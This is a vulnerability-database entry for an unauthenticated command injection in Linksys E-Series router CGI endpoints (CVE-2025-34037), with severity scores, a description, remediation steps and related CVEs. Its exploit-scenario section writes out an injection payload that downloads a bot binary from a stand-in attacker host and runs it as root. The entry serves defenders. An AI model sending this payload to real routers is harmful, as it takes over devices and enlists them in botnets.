Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | CVSS 10.0, EPSS 81.5%, PoC available. Linksys E-Series routers are widely deployed in SOHO environments. Root access to a router allows DNS hijacking, traffic interception, and use as a pivot point for attacks on internal network devices. Botnets like TheMoon and Mirai variants actively target Linksys routers. |
| Exploit ScenarioDerived | An attacker scans for Linksys routers with port 8080 exposed. They send a POST to /tmUnblock.cgi with ttcp_ip=;wget+attacker.com/botclient+-O+/tmp/bot;chmod+777+/tmp/bot;/tmp/bot. The router downloads and executes a botnet client, becoming part of a DDoS botnet while also intercepting all local network traffic through DNS manipulation. |
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Alert meAnalysisAIv1 – Mar 15, 2026
Multiple Linksys E-Series router models contain an unauthenticated OS command injection vulnerability in the /tmUnblock.cgi and /hndUnblock.cgi endpoints accessible on port 8080. The ttcp_ip parameter is passed directly to a system shell without sanitization, enabling remote root-level command execution on the router.
Earlier versions of this analysis (1)
Unauthenticated root command injection in Linksys E-Series routers via CGI endpoints on port 8080 enables full device takeover.
RemediationAI
Update router firmware to the latest version. Disable remote management on port 8080. Replace end-of-life Linksys routers with actively maintained models. Place IoT devices behind a firewall that blocks inbound management ports.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 10 packages in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The tmUnblock.cgi and hndUnblock.cgi scripts process the ttcp_ip parameter by passing it directly to a system() call without input validation. Since the web server runs as root on the router, injected commands execute with full root privileges. Port 8080 hosts an alternative web interface that may be accessible remotely if remote management is enabled.
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Primary rating from Vendor (vulncheck) · only source for this CVE.
CVSS VectorVendor: vulncheck
Lifecycle Timeline
4DescriptionCVE.org
An OS command injection vulnerability exists in various models of E-Series Linksys routers via the /tmUnblock.cgi and /hndUnblock.cgi endpoints over HTTP on port 8080. The CGI scripts improperly process user-supplied input passed to the ttcp_ip parameter without sanitization, allowing unauthenticated attackers to inject shell commands. This vulnerability is exploited in the wild by the "TheMoon" worm to deploy a MIPS ELF payload, enabling arbitrary code execution on the router. This vulnerability may affect other Linksys products to include, but not limited to, WAG/WAP/WES/WET/WRT-series router models and Wireless-N access points and routers. Exploitation evidence was observed by the Shadowserver Foundation on 2025-02-06 UTC.
Executive ViewAI
Linksys E-Series routers contain a critical unauthenticated remote code execution vulnerability (CVE-2025-34037) affecting port 8080 management interfaces, allowing attackers to gain root access without credentials. Organizations deploying these routers face immediate risk of network compromise, data interception, and lateral movement into internal systems. This requires urgent inventory and patching across all affected models.
Apply vendor patch. Interim mitigations pending patch deployment: (1) Block external access to port 8080 at network perimeter firewall; (2) Restrict port 8080 access to authorized administrative subnets only; (3) Implement network segmentation to isolate router management traffic; (4) Monitor port 8080 for suspicious command patterns (/tmUnblock.cgi, /hndUnblock.cgi requests with shell metacharacters).
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Linksys WVBR0. Rated
Stack-based buffer overflow in the SetSource method in the Cisco Linksys PlayerPT ActiveX control 1.0.0.15 in PlayerPT.o
An authenticated OS command injection vulnerability exists in various Linksys router models (tested on WRT160Nv2) runnin
A directory traversal vulnerability exists in Linksys router's web interface (tested on the E1500 model firmware version
Linksys E1200 v1.0.04 is vulnerable to Buffer Overflow via ej_get_web_page_name. Rated critical severity (CVSS 9.8), thi
Linksys E5600 v1.1.0.26 was discovered to contain a command injection vulnerability in the runtime.ddnsStatus DynDNS fun
Linksys E5600 v1.1.0.26 was discovered to contain a command injection vulnerability in the runtime.ddnsStatus DynDNS fun
Linksys E5600 v1.1.0.26 was discovered to contain a command injection vulnerability in the runtime.InternetConnection fu
Linksys E5600 v1.1.0.26 was discovered to contain a command injection vulnerability in the runtime.ddnsStatus DynDNS fun
Linksys E5600 v1.1.0.26 was discovered to contain a command injection vulnerability in the runtime.ddnsStatus DynDNS fun
Devices in the Linksys ESeries line of routers (Linksys E1200 Firmware Version 2.0.09 and Linksys E2500 Firmware Version
Linksys E5600 v1.1.0.26 was discovered to contain a command injection vulnerability via the ipurl parameter at /API/info
EUVD-2025-18964
NVD
CVE.org
EPSS
Exploit-DB
GitHub
VulDB